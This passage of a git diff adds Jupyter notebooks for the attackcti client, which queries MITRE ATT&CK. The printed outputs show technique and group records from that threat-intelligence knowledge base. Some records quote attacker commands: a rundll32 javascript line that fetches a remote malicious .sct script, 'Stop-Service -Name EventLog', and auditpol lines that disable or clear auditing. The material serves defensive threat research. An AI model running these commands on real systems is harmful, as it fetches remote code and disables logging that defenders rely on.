open(('{0}_{1}.json'.format(k,v[0]['group_id'])), 'w') as f:\n", + " f.write(json.dumps(actor_layer))" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "! ls *.json" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "We can delete all the files with the following command." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "! rm *.json" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "# Create Navigator Group Layer Files - (Automatic)\n", + "-----------------------" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "from attackcti import attack_client\n", + "lift = attack_client()\n", + "\n", + "%time lift.export_groups_navigator_layers()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "! ls *.json" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "We can delete all the files with the following command." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "! rm *.json" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.9.5" + } + }, + "nbformat": 4, + "nbformat_minor": 4 +} diff --git a/docs/playground/8-Lookup_Functions.ipynb b/docs/playground/8-Lookup_Functions.ipynb new file mode 100644 index 0000000..2744fe2 --- /dev/null +++ b/docs/playground/8-Lookup_Functions.ipynb @@ -0,0 +1,515 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "# Filtering and Looking Up STIX Objects in ATT&CK\n", + "------------------" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Import ATTACK API Client" + ] + }, + { + "cell_type": "code", + "execution_count": 1, + "metadata": {}, + "outputs": [], + "source": [ + "from attackcti import attack_client" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Import Extra Libraries" + ] + }, + { + "cell_type": "code", + "execution_count": 2, + "metadata": {}, + "outputs": [], + "source": [ + "from pandas import *\n", + "\n", + "import logging\n", + "logging.getLogger('taxii2client').setLevel(logging.CRITICAL)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Initialize ATT&CK Client Variable" + ] + }, + { + "cell_type": "code", + "execution_count": 3, + "metadata": {}, + "outputs": [], + "source": [ + "lift = attack_client()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Get Technique by Name (TAXII)\n", + "You can use a custom method in the attack_client class to get a technique across all the matrices by its name. It is case sensitive." + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "metadata": {}, + "outputs": [], + "source": [ + "technique_name = lift.get_technique_by_name('Rundll32')" + ] + }, + { + "cell_type": "code", + "execution_count": 5, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "[AttackPattern(type='attack-pattern', id='attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2020-01-23T18:03:46.248Z', modified='2021-10-14T21:45:53.057Z', name='Rundll32', description='Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).\\n\\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\\n\\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\\\..\\\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\\n\\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll)', kill_chain_phases=[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')], revoked=False, external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1218/011', external_id='T1218.011'), ExternalReference(source_name='Trend Micro CPL', description='Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.', url='https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf'), ExternalReference(source_name='This is Security Command Line Confusion', description='B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. Retrieved March 5, 2018.', url='https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/'), ExternalReference(source_name='Attackify Rundll32.exe Obscurity', description='Attackify. (n.d.). Rundll32.exe Obscurity. Retrieved August 23, 2021.', url='https://www.attackify.com/blog/rundll32_execution_order/'), ExternalReference(source_name='Github NoRunDll', description='gtworek. (2019, December 17). NoRunDll. Retrieved August 23, 2021.', url='https://github.com/gtworek/PSBits/tree/master/NoRunDll')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_contributors=['Gareth Phillips, Seek Ltd.', 'Casey Smith', 'Ricardo Dias'], x_mitre_data_sources=['File: File Metadata', 'Process: Process Creation', 'Command: Command Execution', 'Module: Module Load'], x_mitre_defense_bypassed=['Digital Certificate Validation', 'Application control', 'Anti-virus'], x_mitre_detection='Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity.\\n\\nCommand arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.', x_mitre_is_subtechnique=True, x_mitre_permissions_required=['User'], x_mitre_platforms=['Windows'], x_mitre_version='1.1'),\n", + " AttackPattern(type='attack-pattern', id='attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5', created='2017-05-31T21:31:06.045Z', modified='2020-01-31T19:01:41.919Z', name='Rundll32', revoked=True, external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1085', external_id='T1085'), ExternalReference(source_name='Trend Micro CPL', description='Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.', url='https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf'), ExternalReference(source_name='This is Security Command Line Confusion', description='B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. Retrieved March 5, 2018.', url='https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/')])]" + ] + }, + "execution_count": 5, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "technique_name" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Get Data Sources from All Techniques (TAXII)\n", + "* You can also get all the data sources available in ATT&CK\n", + "* Currently the only techniques with data sources are the ones in Enterprise ATT&CK." + ] + }, + { + "cell_type": "code", + "execution_count": 6, + "metadata": {}, + "outputs": [], + "source": [ + "data_sources = lift.get_data_sources()" + ] + }, + { + "cell_type": "code", + "execution_count": 7, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "38" + ] + }, + "execution_count": 7, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "len(data_sources)" + ] + }, + { + "cell_type": "code", + "execution_count": 8, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Internet Scan\n", + "Certificate\n", + "Domain Name\n", + "Volume\n", + "Group\n", + "Cluster\n", + "Logon Session\n", + "Network Share\n", + "Container\n", + "Active Directory\n", + "Driver\n", + "Instance\n", + "Network Traffic\n", + "File\n", + "Firewall\n", + "Persona\n", + "Cloud Service\n", + "Named Pipe\n", + "Service\n", + "Windows Registry\n", + "Command\n", + "Snapshot\n", + "Module\n", + "Sensor Health\n", + "Application Log\n", + "Script\n", + "Cloud Storage\n", + "Drive\n", + "Kernel\n", + "Pod\n", + "Process\n", + "Scheduled Job\n", + "Web Credential\n", + "Malware Repository\n", + "User Account\n", + "WMI\n", + "Image\n", + "Firmware\n" + ] + } + ], + "source": [ + "for ds in data_sources:\n", + " print(ds['name'])" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Get Any STIX Object by ID (TAXII)\n", + "* You can get any STIX object by its id across all the matrices. It is case sensitive.\n", + "* You can use the following STIX Object Types:\n", + " * attack-pattern > techniques\n", + " * course-of-action > mitigations\n", + " * intrusion-set > groups\n", + " * malware\n", + " * tool" + ] + }, + { + "cell_type": "code", + "execution_count": 9, + "metadata": {}, + "outputs": [], + "source": [ + "object_by_id = lift.get_object_by_attack_id('attack-pattern', 'T1103')" + ] + }, + { + "cell_type": "code", + "execution_count": 10, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "[AttackPattern(type='attack-pattern', id='attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41', created='2017-05-31T21:31:15.409Z', modified='2020-11-10T18:29:30.379Z', name='AppInit DLLs', revoked=True, external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1103', external_id='T1103'), ExternalReference(source_name='Elastic Process Injection July 2017', description='Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', url='https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'), ExternalReference(source_name='AppInit Registry', description='Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.', url='https://support.microsoft.com/en-us/kb/197571'), ExternalReference(source_name='AppInit Secure Boot', description='Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.', url='https://msdn.microsoft.com/en-us/library/dn280412'), ExternalReference(source_name='TechNet Autoruns', description='Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', url='https://technet.microsoft.com/en-us/sysinternals/bb963902')])]" + ] + }, + "execution_count": 10, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "object_by_id" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Get Any Group by Alias (TAXII)\n", + "You can get any Group by its Alias property across all the matrices. It is case sensitive." + ] + }, + { + "cell_type": "code", + "execution_count": 11, + "metadata": {}, + "outputs": [], + "source": [ + "group_name = lift.get_group_by_alias('Cozy Bear')" + ] + }, + { + "cell_type": "code", + "execution_count": 12, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "[IntrusionSet(type='intrusion-set', id='intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2017-05-31T21:31:52.748Z', modified='2021-10-16T00:59:58.792Z', name='APT29', description=\"[APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to Russia's Foreign Intelligence Service (SVR).(Citation: White House Imposing Costs RU Gov April 2021)(Citation: UK Gov Malign RIS Activity April 2021) They have operated since at least 2008, often targeting government networks in Europe and NATO member countries, research institutes, and think tanks. [APT29](https://attack.mitre.org/groups/G0016) reportedly compromised the Democratic National Committee starting in the summer of 2015.(Citation: F-Secure The Dukes)(Citation: GRIZZLY STEPPE JAR)(Citation: Crowdstrike DNC June 2016)(Citation: UK Gov UK Exposes Russia SolarWinds April 2021)\\n\\nIn April 2021, the US and UK governments attributed the SolarWinds supply chain compromise cyber operation to the SVR; public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021) Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. Industry reporting referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, and Dark Halo.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2021)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: Volexity SolarWinds)(Citation: Cybersecurity Advisory SVR TTP May 2021)\", aliases=['APT29', 'NobleBaron', 'Dark Halo', 'StellarParticle', 'NOBELIUM', 'UNC2452', 'YTTRIUM', 'The Dukes', 'Cozy Bear', 'CozyDuke'], revoked=False, external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/groups/G0016', external_id='G0016'), ExternalReference(source_name='APT29', description='(Citation: F-Secure The Dukes)(Citation: FireEye APT29 Nov 2018)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021)'), ExternalReference(source_name='NobleBaron', description='(Citation: SentinelOne NobleBaron June 2021)'), ExternalReference(source_name='Dark Halo', description='(Citation: Volexity SolarWinds)'), ExternalReference(source_name='StellarParticle', description='(Citation: CrowdStrike SUNSPOT Implant January 2021)'), ExternalReference(source_name='NOBELIUM', description='(Citation: MSTIC NOBELIUM Mar 2021)(Citation: MSTIC NOBELIUM May 2021)(Citation: MSTIC Nobelium Toolset May 2021)(Citation: MSRC Nobelium June 2021)'), ExternalReference(source_name='UNC2452', description='(Citation: FireEye SUNBURST Backdoor December 2020)'), ExternalReference(source_name='YTTRIUM', description='(Citation: Microsoft Unidentified Dec 2018)'), ExternalReference(source_name='The Dukes', description='(Citation: F-Secure The Dukes)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021)'), ExternalReference(source_name='Cozy Bear', description='(Citation: Crowdstrike DNC June 2016)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021)'), ExternalReference(source_name='CozyDuke', description='(Citation: Crowdstrike DNC June 2016)'), ExternalReference(source_name='White House Imposing Costs RU Gov April 2021', description='White House. (2021, April 15). Imposing Costs for Harmful Foreign Activities by the Russian Government. Retrieved April 16, 2021.', url='https://www.whitehouse.gov/briefing-room/statements-releases/2021/04/15/fact-sheet-imposing-costs-for-harmful-foreign-activities-by-the-russian-government/'), ExternalReference(source_name='UK Gov Malign RIS Activity April 2021', description='UK Gov. (2021, April 15). UK and US expose global campaign of malign activity by Russian intelligence services . Retrieved April 16, 2021.', url='https://www.gov.uk/government/news/russia-uk-and-us-expose-global-campaigns-of-malign-activity-by-russian-intelligence-services'), ExternalReference(source_name='F-Secure The Dukes', description='F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.', url='https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf'), ExternalReference(source_name='GRIZZLY STEPPE JAR', description='Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE – Russian Malicious Cyber Activity. Retrieved January 11, 2017.', url='https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf'), ExternalReference(source_name='Crowdstrike DNC June 2016', description='Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.', url='https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/'), ExternalReference(source_name='UK Gov UK Exposes Russia SolarWinds April 2021', description='UK Gov. (2021, April 15). UK exposes Russian involvement in SolarWinds cyber compromise . Retrieved April 16, 2021.', url='https://www.gov.uk/government/news/russia-uk-exposes-russian-involvement-in-solarwinds-cyber-compromise'), ExternalReference(source_name='NSA Joint Advisory SVR SolarWinds April 2021', description='NSA, FBI, DHS. (2021, April 15). Russian SVR Targets U.S. and Allied Networks. Retrieved April 16, 2021.', url='https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF'), ExternalReference(source_name='UK NSCS Russia SolarWinds April 2021', description='UK NCSC. (2021, April 15). UK and US call out Russia for SolarWinds compromise. Retrieved April 16, 2021.', url='https://www.ncsc.gov.uk/news/uk-and-us-call-out-russia-for-solarwinds-compromise'), ExternalReference(source_name='FireEye SUNBURST Backdoor December 2020', description='FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.', url='https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html'), ExternalReference(source_name='MSTIC NOBELIUM Mar 2021', description='Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021.', url='https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/'), ExternalReference(source_name='CrowdStrike SUNSPOT Implant January 2021', description='CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021.', url='https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/'), ExternalReference(source_name='Volexity SolarWinds', description='Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.', url='https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/'), ExternalReference(source_name='Cybersecurity Advisory SVR TTP May 2021', description='NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021.', url='https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf'), ExternalReference(source_name='FireEye APT29 Nov 2018', description='Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.', url='https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html'), ExternalReference(source_name='ESET Dukes October 2019', description='Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.', url='https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf'), ExternalReference(source_name='NCSC APT29 July 2020', description='National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020.', url='https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf'), ExternalReference(source_name='SentinelOne NobleBaron June 2021', description='Guerrero-Saade, J. (2021, June 1). NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks. Retrieved August 4, 2021.', url='https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/'), ExternalReference(source_name='MSTIC NOBELIUM May 2021', description='Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.', url='https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/'), ExternalReference(source_name='MSTIC Nobelium Toolset May 2021', description='MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021.', url='https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/'), ExternalReference(source_name='MSRC Nobelium June 2021', description='MSRC. (2021, June 25). New Nobelium activity. Retrieved August 4, 2021.', url='https://msrc-blog.microsoft.com/2021/06/25/new-nobelium-activity/'), ExternalReference(source_name='Microsoft Unidentified Dec 2018', description='Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019.', url='https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_contributors=['Daniyal Naeem, BT Security', 'Matt Brenton, Zurich Insurance Group', 'Katie Nickels, Red Canary'], x_mitre_version='2.1')]" + ] + }, + "execution_count": 12, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "group_name" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Get Relationships by Any Object (TAXII)\n", + "* You can get available relationships defined in ATT&CK of type **uses** and **mitigates** for specific objects across all the matrices." + ] + }, + { + "cell_type": "code", + "execution_count": 13, + "metadata": {}, + "outputs": [], + "source": [ + "groups = lift.get_groups()\n", + "one_group = groups[0]\n", + "relationships = lift.get_relationships_by_object(one_group)" + ] + }, + { + "cell_type": "code", + "execution_count": 14, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "Relationship(type='relationship', id='relationship--6bbd0299-4e8b-4d31-83c4-c690e43294c0', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2021-10-15T18:47:18.472Z', modified='2021-10-15T18:47:18.472Z', relationship_type='uses', description='[TeamTNT](https://attack.mitre.org/groups/G0139) has searched for unsecured SSH keys.(Citation: Cado Security TeamTNT Worm August 2020)(Citation: Trend Micro TeamTNT)', source_ref='intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca', target_ref='attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf', revoked=False, external_references=[ExternalReference(source_name='Cado Security TeamTNT Worm August 2020', description='Cado Security. (2020, August 16). Team TNT – The First Crypto-Mining Worm to Steal AWS Credentials. Retrieved September 22, 2021.', url='https://www.cadosecurity.com/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials/'), ExternalReference(source_name='Trend Micro TeamTNT', description='Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021.', url='https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'])" + ] + }, + "execution_count": 14, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "relationships[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Get All Techniques with Mitigations (TAXII)\n", + "The difference with this function and **get_techniques()** is that **get_techniques_mitigated_by_mitigation** returns techniques that have mitigations mapped to them." + ] + }, + { + "cell_type": "code", + "execution_count": 15, + "metadata": {}, + "outputs": [], + "source": [ + "techniques_mitigated = lift.get_techniques_mitigated_by_mitigations()" + ] + }, + { + "cell_type": "code", + "execution_count": 16, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "661" + ] + }, + "execution_count": 16, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "len(techniques_mitigated)" + ] + }, + { + "cell_type": "code", + "execution_count": 17, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "AttackPattern(type='attack-pattern', id='attack-pattern--b22e5153-ac28-4cc6-865c-2054e36285cb', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2021-10-12T20:02:31.866Z', modified='2021-10-16T01:50:40.276Z', name='Resource Forking', description='Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file’s extended attributes, using ls -l@ or xattr -l commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the /Resources folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)\\n\\nAdversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)', kill_chain_phases=[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')], revoked=False, external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1564/009', external_id='T1564.009'), ExternalReference(source_name='macOS Hierarchical File System Overview', description='Tenon. (n.d.). Retrieved October 12, 2021.', url='http://tenon.com/products/codebuilder/User_Guide/6_File_Systems.html#anchor520553'), ExternalReference(source_name='Resource and Data Forks', description='Flylib. (n.d.). Identifying Resource and Data Forks. Retrieved October 12, 2021.', url='https://flylib.com/books/en/4.395.1.192/1/'), ExternalReference(source_name='ELC Extended Attributes', description=\"Howard Oakley. (2020, October 24). There's more to files than data: Extended Attributes. Retrieved October 12, 2021.\", url='https://eclecticlight.co/2020/10/24/theres-more-to-files-than-data-extended-attributes/'), ExternalReference(source_name='sentinellabs resource named fork 2020', description='Phil Stokes. (2020, November 5). Resourceful macOS Malware Hides in Named Fork. Retrieved October 12, 2021.', url='https://www.sentinelone.com/labs/resourceful-macos-malware-hides-in-named-fork/'), ExternalReference(source_name='tau bundlore erika noerenberg 2020', description='Erika Noerenberg. (2020, June 29). TAU Threat Analysis: Bundlore (macOS) mm-install-macos. Retrieved October 12, 2021.', url='https://blogs.vmware.com/security/2020/06/tau-threat-analysis-bundlore-macos-mm-install-macos.html')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_contributors=['Jaron Bradley @jbradley89', 'Ivan Sinyakov'], x_mitre_data_sources=['File: File Creation', 'Process: Process Creation', 'File: File Metadata', 'Command: Command Execution'], x_mitre_defense_bypassed=['Notarization; Gatekeeper'], x_mitre_detection='Identify files with the com.apple.ResourceFork extended attribute and large data amounts stored in resource forks. \\n\\nMonitor command-line activity leveraging the use of resource forks, especially those immediately followed by potentially malicious activity such as creating network connections. ', x_mitre_is_subtechnique=True, x_mitre_permissions_required=['User'], x_mitre_platforms=['macOS'], x_mitre_version='1.0')" + ] + }, + "execution_count": 17, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "techniques_mitigated[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Get Techniques Used by Software (TAXII)\n", + "This the function returns information about a specific software STIX object." + ] + }, + { + "cell_type": "code", + "execution_count": 18, + "metadata": {}, + "outputs": [], + "source": [ + "all_software = lift.get_software()\n", + "one_software = all_software[0]\n", + "software_techniques = lift.get_techniques_used_by_software(one_software)" + ] + }, + { + "cell_type": "code", + "execution_count": 19, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "AttackPattern(type='attack-pattern', id='attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2020-02-21T20:46:36.688Z', modified='2021-10-19T13:37:30.534Z', name='Disable Windows Event Logging', description='Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.\\n\\nThe EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to Security Settings\\\\Local Policies\\\\Audit Policy for basic audit policy settings or Security Settings\\\\Advanced Audit Policy Configuration for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) auditpol.exe may also be used to set audit policies.(Citation: auditpol)\\n\\nAdversaries may target system-wide logging or just that of a particular application. For example, the EventLog service may be disabled using the following PowerShell line: Stop-Service -Name EventLog.(Citation: Disable_Win_Event_Logging) Additionally, adversaries may use auditpol and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the /success or /failure parameters. For example, auditpol /set /category:”Account Logon” /success:disable /failure:disable turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: auditpol /clear /y or auditpol /remove /allusers.(Citation: T1562.002_redcanaryco)\\n\\nBy disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.', kill_chain_phases=[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')], revoked=False, external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1562/002', external_id='T1562.002'), ExternalReference(source_name='Windows Log Events', description='Franklin Smith. (n.d.). Windows Security Log Events. Retrieved February 21, 2020.', url='https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/'), ExternalReference(source_name='EventLog_Core_Technologies', description='Core Technologies. (2021, May 24). Essential Windows Services: EventLog / Windows Event Log. Retrieved September 14, 2021.', 